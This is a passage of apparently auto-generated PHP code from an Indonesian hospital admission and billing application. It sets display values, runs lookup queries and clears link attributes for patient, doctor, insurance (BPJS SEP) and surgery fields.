Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$arwrk[2] = $rswrk->fields('Disp2Fld');\n\t\t\t\t$this->icd_masuk->ViewValue = $this->icd_masuk->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->icd_masuk->ViewValue = $this->icd_masuk->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->icd_masuk->ViewValue = NULL;\n\t\t}\n\t\t$this->icd_masuk->ViewCustomAttributes = \"\";\n\n\t\t// icd_keluar\n\t\t$this->icd_keluar->ViewValue = $this->icd_keluar->CurrentValue;\n\t\t$this->icd_keluar->ViewCustomAttributes = \"\";\n\n\t\t// NIP\n\t\t$this->NIP->ViewValue = $this->NIP->CurrentValue;\n\t\t$this->NIP->ViewCustomAttributes = \"\";\n\n\t\t// noruang_asal\n\t\t$this->noruang_asal->ViewValue = $this->noruang_asal->CurrentValue;\n\t\t$this->noruang_asal->ViewCustomAttributes = \"\";\n\n\t\t// nott_asal\n\t\t$this->nott_asal->ViewValue = $this->nott_asal->CurrentValue;\n\t\t$this->nott_asal->ViewCustomAttributes = \"\";\n\n\t\t// tgl_pindah\n\t\t$this->tgl_pindah->ViewValue = $this->tgl_pindah->CurrentValue;\n\t\t$this->tgl_pindah->ViewValue = ew_FormatDateTime($this->tgl_pindah->ViewValue, 0);\n\t\t$this->tgl_pindah->ViewCustomAttributes = \"\";\n\n\t\t// kd_rujuk\n\t\tif (strval($this->kd_rujuk->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`KODE`\" . ew_SearchString(\"=\", $this->kd_rujuk->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `KODE`, `NAMA` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_rujukan`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->kd_rujuk->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->kd_rujuk, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->kd_rujuk->ViewValue = $this->kd_rujuk->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->kd_rujuk->ViewValue = $this->kd_rujuk->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->kd_rujuk->ViewValue = NULL;\n\t\t}\n\t\t$this->kd_rujuk->ViewCustomAttributes = \"\";\n\n\t\t// st_bayar\n\t\t$this->st_bayar->ViewValue = $this->st_bayar->CurrentValue;\n\t\t$this->st_bayar->ViewCustomAttributes = \"\";\n\n\t\t// dokter_penanggungjawab\n\t\tif (strval($this->dokter_penanggungjawab->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`KDDOKTER`\" . ew_SearchString(\"=\", $this->dokter_penanggungjawab->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `KDDOKTER`, `NAMADOKTER` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_dokter`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->dokter_penanggungjawab->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->dokter_penanggungjawab, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->dokter_penanggungjawab->ViewValue = $this->dokter_penanggungjawab->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->dokter_penanggungjawab->ViewValue = $this->dokter_penanggungjawab->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->dokter_penanggungjawab->ViewValue = NULL;\n\t\t}\n\t\t$this->dokter_penanggungjawab->ViewCustomAttributes = \"\";\n\n\t\t// perawat\n\t\t$this->perawat->ViewValue = $this->perawat->CurrentValue;\n\t\t$this->perawat->ViewCustomAttributes = \"\";\n\n\t\t// KELASPERAWATAN_ID\n\t\tif (strval($this->KELASPERAWATAN_ID->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`kelasperawatan_id`\" . ew_SearchString(\"=\", $this->KELASPERAWATAN_ID->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `kelasperawatan_id`, `kelasperawatan` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `l_kelas_perawatan`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->KELASPERAWATAN_ID->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->KELASPERAWATAN_ID, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->KELASPERAWATAN_ID->ViewValue = $this->KELASPERAWATAN_ID->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->KELASPERAWATAN_ID->ViewValue = $this->KELASPERAWATAN_ID->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->KELASPERAWATAN_ID->ViewValue = NULL;\n\t\t}\n\t\t$this->KELASPERAWATAN_ID->ViewCustomAttributes = \"\";\n\n\t\t// LOS\n\t\t$this->LOS->ViewValue = $this->LOS->CurrentValue;\n\t\t$this->LOS->ViewCustomAttributes = \"\";\n\n\t\t// TOT_TRF_TIND_DOKTER\n\t\t$this->TOT_TRF_TIND_DOKTER->ViewValue = $this->TOT_TRF_TIND_DOKTER->CurrentValue;\n\t\t$this->TOT_TRF_TIND_DOKTER->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BHP_DOKTER\n\t\t$this->TOT_BHP_DOKTER->ViewValue = $this->TOT_BHP_DOKTER->CurrentValue;\n\t\t$this->TOT_BHP_DOKTER->ViewCustomAttributes = \"\";\n\n\t\t// TOT_TRF_PERAWAT\n\t\t$this->TOT_TRF_PERAWAT->ViewValue = $this->TOT_TRF_PERAWAT->CurrentValue;\n\t\t$this->TOT_TRF_PERAWAT->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BHP_PERAWAT\n\t\t$this->TOT_BHP_PERAWAT->ViewValue = $this->TOT_BHP_PERAWAT->CurrentValue;\n\t\t$this->TOT_BHP_PERAWAT->ViewCustomAttributes = \"\";\n\n\t\t// TOT_TRF_DOKTER\n\t\t$this->TOT_TRF_DOKTER->ViewValue = $this->TOT_TRF_DOKTER->CurrentValue;\n\t\t$this->TOT_TRF_DOKTER->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_RAD\n\t\t$this->TOT_BIAYA_RAD->ViewValue = $this->TOT_BIAYA_RAD->CurrentValue;\n\t\t$this->TOT_BIAYA_RAD->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_CDRPOLI\n\t\t$this->TOT_BIAYA_CDRPOLI->ViewValue = $this->TOT_BIAYA_CDRPOLI->CurrentValue;\n\t\t$this->TOT_BIAYA_CDRPOLI->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_LAB_IGD\n\t\t$this->TOT_BIAYA_LAB_IGD->ViewValue = $this->TOT_BIAYA_LAB_IGD->CurrentValue;\n\t\t$this->TOT_BIAYA_LAB_IGD->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_OKSIGEN\n\t\t$this->TOT_BIAYA_OKSIGEN->ViewValue = $this->TOT_BIAYA_OKSIGEN->CurrentValue;\n\t\t$this->TOT_BIAYA_OKSIGEN->ViewCustomAttributes = \"\";\n\n\t\t// TOTAL_BIAYA_OBAT\n\t\t$this->TOTAL_BIAYA_OBAT->ViewValue = $this->TOTAL_BIAYA_OBAT->CurrentValue;\n\t\t$this->TOTAL_BIAYA_OBAT->ViewCustomAttributes = \"\";\n\n\t\t// LINK_SET_KELAS\n\t\t$this->LINK_SET_KELAS->ViewValue = $this->LINK_SET_KELAS->CurrentValue;\n\t\t$this->LINK_SET_KELAS->ViewCustomAttributes = \"\";\n\n\t\t// biaya_obat\n\t\t$this->biaya_obat->ViewValue = $this->biaya_obat->CurrentValue;\n\t\t$this->biaya_obat->ViewCustomAttributes = \"\";\n\n\t\t// biaya_retur_obat\n\t\t$this->biaya_retur_obat->ViewValue = $this->biaya_retur_obat->CurrentValue;\n\t\t$this->biaya_retur_obat->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_GIZI\n\t\t$this->TOT_BIAYA_GIZI->ViewValue = $this->TOT_BIAYA_GIZI->CurrentValue;\n\t\t$this->TOT_BIAYA_GIZI->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_TMO\n\t\t$this->TOT_BIAYA_TMO->ViewValue = $this->TOT_BIAYA_TMO->CurrentValue;\n\t\t$this->TOT_BIAYA_TMO->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_AMBULAN\n\t\t$this->TOT_BIAYA_AMBULAN->ViewValue = $this->TOT_BIAYA_AMBULAN->CurrentValue;\n\t\t$this->TOT_BIAYA_AMBULAN->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_FISIO\n\t\t$this->TOT_BIAYA_FISIO->ViewValue = $this->TOT_BIAYA_FISIO->CurrentValue;\n\t\t$this->TOT_BIAYA_FISIO->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_LAINLAIN\n\t\t$this->TOT_BIAYA_LAINLAIN->ViewValue = $this->TOT_BIAYA_LAINLAIN->CurrentValue;\n\t\t$this->TOT_BIAYA_LAINLAIN->ViewCustomAttributes = \"\";\n\n\t\t// jenisperawatan_id\n\t\t$this->jenisperawatan_id->ViewValue = $this->jenisperawatan_id->CurrentValue;\n\t\t$this->jenisperawatan_id->ViewCustomAttributes = \"\";\n\n\t\t// status_transaksi\n\t\t$this->status_transaksi->ViewValue = $this->status_transaksi->CurrentValue;\n\t\t$this->status_transaksi->ViewCustomAttributes = \"\";\n\n\t\t// statuskeluarranap_id\n\t\t$this->statuskeluarranap_id->ViewValue = $this->statuskeluarranap_id->CurrentValue;\n\t\t$this->statuskeluarranap_id->ViewCustomAttributes = \"\";\n\n\t\t// TOT_BIAYA_AKOMODASI\n\t\t$this->TOT_BIAYA_AKOMODASI->ViewValue = $this->TOT_BIAYA_AKOMODASI->CurrentValue;\n\t\t$this->TOT_BIAYA_AKOMODASI->ViewCustomAttributes = \"\";\n\n\t\t// TOTAL_BIAYA_ASKEP\n\t\t$this->TOTAL_BIAYA_ASKEP->ViewValue = $this->TOTAL_BIAYA_ASKEP->CurrentValue;\n\t\t$this->TOTAL_BIAYA_ASKEP->ViewCustomAttributes = \"\";\n\n\t\t// TOTAL_BIAYA_SIMRS\n\t\t$this->TOTAL_BIAYA_SIMRS->ViewValue = $this->TOTAL_BIAYA_SIMRS->CurrentValue;\n\t\t$this->TOTAL_BIAYA_SIMRS->ViewCustomAttributes = \"\";\n\n\t\t// TOT_PENJ_NMEDIS\n\t\t$this->TOT_PENJ_NMEDIS->ViewValue = $this->TOT_PENJ_NMEDIS->CurrentValue;\n\t\t$this->TOT_PENJ_NMEDIS->ViewCustomAttributes = \"\";\n\n\t\t// LINK_MASTERDETAIL\n\t\t$this->LINK_MASTERDETAIL->ViewValue = $this->LINK_MASTERDETAIL->CurrentValue;\n\t\t$this->LINK_MASTERDETAIL->ViewCustomAttributes = \"\";\n\n\t\t// NO_SKP\n\t\t$this->NO_SKP->ViewValue = $this->NO_SKP->CurrentValue;\n\t\t$this->NO_SKP->ViewCustomAttributes = \"\";\n\n\t\t// LINK_PELAYANAN_OBAT\n\t\t$this->LINK_PELAYANAN_OBAT->ViewValue = $this->LINK_PELAYANAN_OBAT->CurrentValue;\n\t\t$this->LINK_PELAYANAN_OBAT->ViewCustomAttributes = \"\";\n\n\t\t// TOT_TIND_RAJAL\n\t\t$this->TOT_TIND_RAJAL->ViewValue = $this->TOT_TIND_RAJAL->CurrentValue;\n\t\t$this->TOT_TIND_RAJAL->ViewCustomAttributes = \"\";\n\n\t\t// TOT_TIND_IGD\n\t\t$this->TOT_TIND_IGD->ViewValue = $this->TOT_TIND_IGD->CurrentValue;\n\t\t$this->TOT_TIND_IGD->ViewCustomAttributes = \"\";\n\n\t\t// tanggal_pengembalian_status\n\t\t$this->tanggal_pengembalian_status->ViewValue = $this->tanggal_pengembalian_status->CurrentValue;\n\t\t$this->tanggal_pengembalian_status->ViewValue = ew_FormatDateTime($this->tanggal_pengembalian_status->ViewValue, 0);\n\t\t$this->tanggal_pengembalian_status->ViewCustomAttributes = \"\";\n\n\t\t// naik_kelas\n\t\t$this->naik_kelas->ViewValue = $this->naik_kelas->CurrentValue;\n\t\t$this->naik_kelas->ViewCustomAttributes = \"\";\n\n\t\t// iuran_kelas_lama\n\t\t$this->iuran_kelas_lama->ViewValue = $this->iuran_kelas_lama->CurrentValue;\n\t\t$this->iuran_kelas_lama->ViewCustomAttributes = \"\";\n\n\t\t// iuran_kelas_baru\n\t\t$this->iuran_kelas_baru->ViewValue = $this->iuran_kelas_baru->CurrentValue;\n\t\t$this->iuran_kelas_baru->ViewCustomAttributes = \"\";\n\n\t\t// ketrangan_naik_kelas\n\t\t$this->ketrangan_naik_kelas->ViewValue = $this->ketrangan_naik_kelas->CurrentValue;\n\t\t$this->ketrangan_naik_kelas->ViewCustomAttributes = \"\";\n\n\t\t// tgl_pengiriman_ad_klaim\n\t\t$this->tgl_pengiriman_ad_klaim->ViewValue = $this->tgl_pengiriman_ad_klaim->CurrentValue;\n\t\t$this->tgl_pengiriman_ad_klaim->ViewValue = ew_FormatDateTime($this->tgl_pengiriman_ad_klaim->ViewValue, 0);\n\t\t$this->tgl_pengiriman_ad_klaim->ViewCustomAttributes = \"\";\n\n\t\t// diagnosa_keluar\n\t\t$this->diagnosa_keluar->ViewValue = $this->diagnosa_keluar->CurrentValue;\n\t\t$this->diagnosa_keluar->ViewCustomAttributes = \"\";\n\n\t\t// sep_tglsep\n\t\t$this->sep_tglsep->ViewValue = $this->sep_tglsep->CurrentValue;\n\t\t$this->sep_tglsep->ViewValue = ew_FormatDateTime($this->sep_tglsep->ViewValue, 0);\n\t\t$this->sep_tglsep->ViewCustomAttributes = \"\";\n\n\t\t// sep_tglrujuk\n\t\t$this->sep_tglrujuk->ViewValue = $this->sep_tglrujuk->CurrentValue;\n\t\t$this->sep_tglrujuk->ViewValue = ew_FormatDateTime($this->sep_tglrujuk->ViewValue, 0);\n\t\t$this->sep_tglrujuk->ViewCustomAttributes = \"\";\n\n\t\t// sep_kodekelasrawat\n\t\t$this->sep_kodekelasrawat->ViewValue = $this->sep_kodekelasrawat->CurrentValue;\n\t\t$this->sep_kodekelasrawat->ViewCustomAttributes = \"\";\n\n\t\t// sep_norujukan\n\t\t$this->sep_norujukan->ViewValue = $this->sep_norujukan->CurrentValue;\n\t\t$this->sep_norujukan->ViewCustomAttributes = \"\";\n\n\t\t// sep_kodeppkasal\n\t\t$this->sep_kodeppkasal->ViewValue = $this->sep_kodeppkasal->CurrentValue;\n\t\t$this->sep_kodeppkasal->ViewCustomAttributes = \"\";\n\n\t\t// sep_namappkasal\n\t\t$this->sep_namappkasal->ViewValue = $this->sep_namappkasal->CurrentValue;\n\t\t$this->sep_namappkasal->ViewCustomAttributes = \"\";\n\n\t\t// sep_kodeppkpelayanan\n\t\t$this->sep_kodeppkpelayanan->ViewValue = $this->sep_kodeppkpelayanan->CurrentValue;\n\t\t$this->sep_kodeppkpelayanan->ViewCustomAttributes = \"\";\n\n\t\t// sep_namappkpelayanan\n\t\t$this->sep_namappkpelayanan->ViewValue = $this->sep_namappkpelayanan->CurrentValue;\n\t\t$this->sep_namappkpelayanan->ViewCustomAttributes = \"\";\n\n\t\t// t_admissioncol\n\t\t$this->t_admissioncol->ViewValue = $this->t_admissioncol->CurrentValue;\n\t\t$this->t_admissioncol->ViewCustomAttributes = \"\";\n\n\t\t// sep_jenisperawatan\n\t\t$this->sep_jenisperawatan->ViewValue = $this->sep_jenisperawatan->CurrentValue;\n\t\t$this->sep_jenisperawatan->ViewCustomAttributes = \"\";\n\n\t\t// sep_catatan\n\t\t$this->sep_catatan->ViewValue = $this->sep_catatan->CurrentValue;\n\t\t$this->sep_catatan->ViewCustomAttributes = \"\";\n\n\t\t// sep_kodediagnosaawal\n\t\t$this->sep_kodediagnosaawal->ViewValue = $this->sep_kodediagnosaawal->CurrentValue;\n\t\t$this->sep_kodediagnosaawal->ViewCustomAttributes = \"\";\n\n\t\t// sep_namadiagnosaawal\n\t\t$this->sep_namadiagnosaawal->ViewValue = $this->sep_namadiagnosaawal->CurrentValue;\n\t\t$this->sep_namadiagnosaawal->ViewCustomAttributes = \"\";\n\n\t\t// sep_lakalantas\n\t\t$this->sep_lakalantas->ViewValue = $this->sep_lakalantas->CurrentValue;\n\t\t$this->sep_lakalantas->ViewCustomAttributes = \"\";\n\n\t\t// sep_lokasilaka\n\t\t$this->sep_lokasilaka->ViewValue = $this->sep_lokasilaka->CurrentValue;\n\t\t$this->sep_lokasilaka->ViewCustomAttributes = \"\";\n\n\t\t// sep_user\n\t\t$this->sep_user->ViewValue = $this->sep_user->CurrentValue;\n\t\t$this->sep_user->ViewCustomAttributes = \"\";\n\n\t\t// sep_flag_cekpeserta\n\t\t$this->sep_flag_cekpeserta->ViewValue = $this->sep_flag_cekpeserta->CurrentValue;\n\t\t$this->sep_flag_cekpeserta->ViewCustomAttributes = \"\";\n\n\t\t// sep_flag_generatesep\n\t\t$this->sep_flag_generatesep->ViewValue = $this->sep_flag_generatesep->CurrentValue;\n\t\t$this->sep_flag_generatesep->ViewCustomAttributes = \"\";\n\n\t\t// sep_flag_mapingsep\n\t\t$this->sep_flag_mapingsep->ViewValue = $this->sep_flag_mapingsep->CurrentValue;\n\t\t$this->sep_flag_mapingsep->ViewCustomAttributes = \"\";\n\n\t\t// sep_nik\n\t\t$this->sep_nik->ViewValue = $this->sep_nik->CurrentValue;\n\t\t$this->sep_nik->ViewCustomAttributes = \"\";\n\n\t\t// sep_namapeserta\n\t\t$this->sep_namapeserta->ViewValue = $this->sep_namapeserta->CurrentValue;\n\t\t$this->sep_namapeserta->ViewCustomAttributes = \"\";\n\n\t\t// sep_jeniskelamin\n\t\t$this->sep_jeniskelamin->ViewValue = $this->sep_jeniskelamin->CurrentValue;\n\t\t$this->sep_jeniskelamin->ViewCustomAttributes = \"\";\n\n\t\t// sep_pisat\n\t\t$this->sep_pisat->ViewValue = $this->sep_pisat->CurrentValue;\n\t\t$this->sep_pisat->ViewCustomAttributes = \"\";\n\n\t\t// sep_tgllahir\n\t\t$this->sep_tgllahir->ViewValue = $this->sep_tgllahir->CurrentValue;\n\t\t$this->sep_tgllahir->ViewCustomAttributes = \"\";\n\n\t\t// sep_kodejeniskepesertaan\n\t\t$this->sep_kodejeniskepesertaan->ViewValue = $this->sep_kodejeniskepesertaan->CurrentValue;\n\t\t$this->sep_kodejeniskepesertaan->ViewCustomAttributes = \"\";\n\n\t\t// sep_namajeniskepesertaan\n\t\t$this->sep_namajeniskepesertaan->ViewValue = $this->sep_namajeniskepesertaan->CurrentValue;\n\t\t$this->sep_namajeniskepesertaan->ViewCustomAttributes = \"\";\n\n\t\t// sep_kodepolitujuan\n\t\t$this->sep_kodepolitujuan->ViewValue = $this->sep_kodepolitujuan->CurrentValue;\n\t\t$this->sep_kodepolitujuan->ViewCustomAttributes = \"\";\n\n\t\t// sep_namapolitujuan\n\t\t$this->sep_namapolitujuan->ViewValue = $this->sep_namapolitujuan->CurrentValue;\n\t\t$this->sep_namapolitujuan->ViewCustomAttributes = \"\";\n\n\t\t// ket_jeniskelamin\n\t\t$this->ket_jeniskelamin->ViewValue = $this->ket_jeniskelamin->CurrentValue;\n\t\t$this->ket_jeniskelamin->ViewCustomAttributes = \"\";\n\n\t\t// sep_nokabpjs\n\t\t$this->sep_nokabpjs->ViewValue = $this->sep_nokabpjs->CurrentValue;\n\t\t$this->sep_nokabpjs->ViewCustomAttributes = \"\";\n\n\t\t// counter_cetak_sep\n\t\t$this->counter_cetak_sep->ViewValue = $this->counter_cetak_sep->CurrentValue;\n\t\t$this->counter_cetak_sep->ViewCustomAttributes = \"\";\n\n\t\t// sep_petugas_hapus_sep\n\t\t$this->sep_petugas_hapus_sep->ViewValue = $this->sep_petugas_hapus_sep->CurrentValue;\n\t\t$this->sep_petugas_hapus_sep->ViewCustomAttributes = \"\";\n\n\t\t// sep_petugas_set_tgl_pulang\n\t\t$this->sep_petugas_set_tgl_pulang->ViewValue = $this->sep_petugas_set_tgl_pulang->CurrentValue;\n\t\t$this->sep_petugas_set_tgl_pulang->ViewCustomAttributes = \"\";\n\n\t\t// sep_jam_generate_sep\n\t\t$this->sep_jam_generate_sep->ViewValue = $this->sep_jam_generate_sep->CurrentValue;\n\t\t$this->sep_jam_generate_sep->ViewValue = ew_FormatDateTime($this->sep_jam_generate_sep->ViewValue, 0);\n\t\t$this->sep_jam_generate_sep->ViewCustomAttributes = \"\";\n\n\t\t// sep_status_peserta\n\t\t$this->sep_status_peserta->ViewValue = $this->sep_status_peserta->CurrentValue;\n\t\t$this->sep_status_peserta->ViewCustomAttributes = \"\";\n\n\t\t// sep_umur_pasien_sekarang\n\t\t$this->sep_umur_pasien_sekarang->ViewValue = $this->sep_umur_pasien_sekarang->CurrentValue;\n\t\t$this->sep_umur_pasien_sekarang->ViewCustomAttributes = \"\";\n\n\t\t// ket_title\n\t\t$this->ket_title->ViewValue = $this->ket_title->CurrentValue;\n\t\t$this->ket_title->ViewCustomAttributes = \"\";\n\n\t\t// status_daftar_ranap\n\t\t$this->status_daftar_ranap->ViewValue = $this->status_daftar_ranap->CurrentValue;\n\t\t$this->status_daftar_ranap->ViewCustomAttributes = \"\";\n\n\t\t// IBS_SETMARKING\n\t\t$this->IBS_SETMARKING->ViewValue = $this->IBS_SETMARKING->CurrentValue;\n\t\t$this->IBS_SETMARKING->ViewCustomAttributes = \"\";\n\n\t\t// IBS_PATOLOGI\n\t\t$this->IBS_PATOLOGI->ViewValue = $this->IBS_PATOLOGI->CurrentValue;\n\t\t$this->IBS_PATOLOGI->ViewCustomAttributes = \"\";\n\n\t\t// IBS_JENISANESTESI\n\t\t$this->IBS_JENISANESTESI->ViewValue = $this->IBS_JENISANESTESI->CurrentValue;\n\t\t$this->IBS_JENISANESTESI->ViewCustomAttributes = \"\";\n\n\t\t// IBS_NO_OK\n\t\t$this->IBS_NO_OK->ViewValue = $this->IBS_NO_OK->CurrentValue;\n\t\t$this->IBS_NO_OK->ViewCustomAttributes = \"\";\n\n\t\t// IBS_ASISSTEN\n\t\t$this->IBS_ASISSTEN->ViewValue = $this->IBS_ASISSTEN->CurrentValue;\n\t\t$this->IBS_ASISSTEN->ViewCustomAttributes = \"\";\n\n\t\t// IBS_JAM_ELEFTIF\n\t\t$this->IBS_JAM_ELEFTIF->ViewValue = $this->IBS_JAM_ELEFTIF->CurrentValue;\n\t\t$this->IBS_JAM_ELEFTIF->ViewValue = ew_FormatDateTime($this->IBS_JAM_ELEFTIF->ViewValue, 0);\n\t\t$this->IBS_JAM_ELEFTIF->ViewCustomAttributes = \"\";\n\n\t\t// IBS_JAM_ELEKTIF_SELESAI\n\t\t$this->IBS_JAM_ELEKTIF_SELESAI->ViewValue = $this->IBS_JAM_ELEKTIF_SELESAI->CurrentValue;\n\t\t$this->IBS_JAM_ELEKTIF_SELESAI->ViewValue = ew_FormatDateTime($this->IBS_JAM_ELEKTIF_SELESAI->ViewValue, 0);\n\t\t$this->IBS_JAM_ELEKTIF_SELESAI->ViewCustomAttributes = \"\";\n\n\t\t// IBS_JAM_CYTO\n\t\t$this->IBS_JAM_CYTO->ViewValue = $this->IBS_JAM_CYTO->CurrentValue;\n\t\t$this->IBS_JAM_CYTO->ViewValue = ew_FormatDateTime($this->IBS_JAM_CYTO->ViewValue, 0);\n\t\t$this->IBS_JAM_CYTO->ViewCustomAttributes = \"\";\n\n\t\t// IBS_JAM_CYTO_SELESAI\n\t\t$this->IBS_JAM_CYTO_SELESAI->ViewValue = $this->IBS_JAM_CYTO_SELESAI->CurrentValue;\n\t\t$this->IBS_JAM_CYTO_SELESAI->ViewValue = ew_FormatDateTime($this->IBS_JAM_CYTO_SELESAI->ViewValue, 0);\n\t\t$this->IBS_JAM_CYTO_SELESAI->ViewCustomAttributes = \"\";\n\n\t\t// IBS_TGL_DFTR_OP\n\t\t$this->IBS_TGL_DFTR_OP->ViewValue = $this->IBS_TGL_DFTR_OP->CurrentValue;\n\t\t$this->IBS_TGL_DFTR_OP->ViewValue = ew_FormatDateTime($this->IBS_TGL_DFTR_OP->ViewValue, 0);\n\t\t$this->IBS_TGL_DFTR_OP->ViewCustomAttributes = \"\";\n\n\t\t// IBS_TGL_OP\n\t\t$this->IBS_TGL_OP->ViewValue = $this->IBS_TGL_OP->CurrentValue;\n\t\t$this->IBS_TGL_OP->ViewValue = ew_FormatDateTime($this->IBS_TGL_OP->ViewValue, 0);\n\t\t$this->IBS_TGL_OP->ViewCustomAttributes = \"\";\n\n\t\t// grup_ruang_id\n\t\t$this->grup_ruang_id->ViewValue = $this->grup_ruang_id->CurrentValue;\n\t\t$this->grup_ruang_id->ViewCustomAttributes = \"\";\n\n\t\t// status_order_ibs\n\t\t$this->status_order_ibs->ViewValue = $this->status_order_ibs->CurrentValue;\n\t\t$this->status_order_ibs->ViewCustomAttributes = \"\";\n\n\t\t\t// id_admission\n\t\t\t$this->id_admission->LinkCustomAttributes = \"\";\n\t\t\t$this->id_admission->HrefValue = \"\";\n\t\t\t$this->id_admission->TooltipValue = \"\";\n\n\t\t\t// nomr\n\t\t\t$this->nomr->LinkCustomAttributes = \"\";\n\t\t\t$this->nomr->HrefValue = \"\";\n\t\t\t$this->nomr->TooltipValue = \"\";\n\n\t\t\t// ket_nama\n\t\t\t$this->ket_nama->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_nama->HrefValue = \"\";\n\t\t\t$this->ket_nama->TooltipValue = \"\";\n\n\t\t\t// ket_tgllahir\n\t\t\t$this->ket_tgllahir->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_tgllahir->HrefValue = \"\";\n\t\t\t$this->ket_tgllahir->TooltipValue = \"\";\n\n\t\t\t// ket_alamat\n\t\t\t$this->ket_alamat->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_alamat->HrefValue = \"\";\n\t\t\t$this->ket_alamat->TooltipValue = \"\";\n\n\t\t\t// parent_nomr\n\t\t\t$this->parent_nomr->LinkCustomAttributes = \"\";\n\t\t\t$this->parent_nomr->HrefValue = \"\";\n\t\t\t$this->parent_nomr->TooltipValue = \"\";\n\n\t\t\t// dokterpengirim\n\t\t\t$this->dokterpengirim->LinkCustomAttributes = \"\";\n\t\t\t$this->dokterpengirim->HrefValue = \"\";\n\t\t\t$this->dokterpengirim->TooltipValue = \"\";\n\n\t\t\t// statusbayar\n\t\t\t$this->statusbayar->LinkCustomAttributes = \"\";\n\t\t\t$this->statusbayar->HrefValue = \"\";\n\t\t\t$this->statusbayar->TooltipValue = \"\";\n\n\t\t\t// kirimdari\n\t\t\t$this->kirimdari->LinkCustomAttributes = \"\";\n\t\t\t$this->kirimdari->HrefValue = \"\";\n\t\t\t$this->kirimdari->TooltipValue = \"\";\n\n\t\t\t// keluargadekat\n\t\t\t$this->keluargadekat->LinkCustomAttributes = \"\";\n\t\t\t$this->keluargadekat->HrefValue = \"\";\n\t\t\t$this->keluargadekat->TooltipValue = \"\";\n\n\t\t\t// panggungjawab\n\t\t\t$this->panggungjawab->LinkCustomAttributes = \"\";\n\t\t\t$this->panggungjawab->HrefValue = \"\";\n\t\t\t$this->panggungjawab->TooltipValue = \"\";\n\n\t\t\t// masukrs\n\t\t\t$this->masukrs->LinkCustomAttributes = \"\";\n\t\t\t$this->masukrs->HrefValue = \"\";\n\t\t\t$this->masukrs->TooltipValue = \"\";\n\n\t\t\t// noruang\n\t\t\t$this->noruang->LinkCustomAttributes = \"\";\n\t\t\t$this->noruang->HrefValue = \"\";\n\t\t\t$this->noruang->TooltipValue = \"\";\n\n\t\t\t// tempat_tidur_id\n\t\t\t$this->tempat_tidur_id->LinkCustomAttributes = \"\";\n\t\t\t$this->tempat_tidur_id->HrefValue = \"\";\n\t\t\t$this->tempat_tidur_id->TooltipValue = \"\";\n\n\t\t\t// nott\n\t\t\t$this->nott->LinkCustomAttributes = \"\";\n\t\t\t$this->nott->HrefValue = 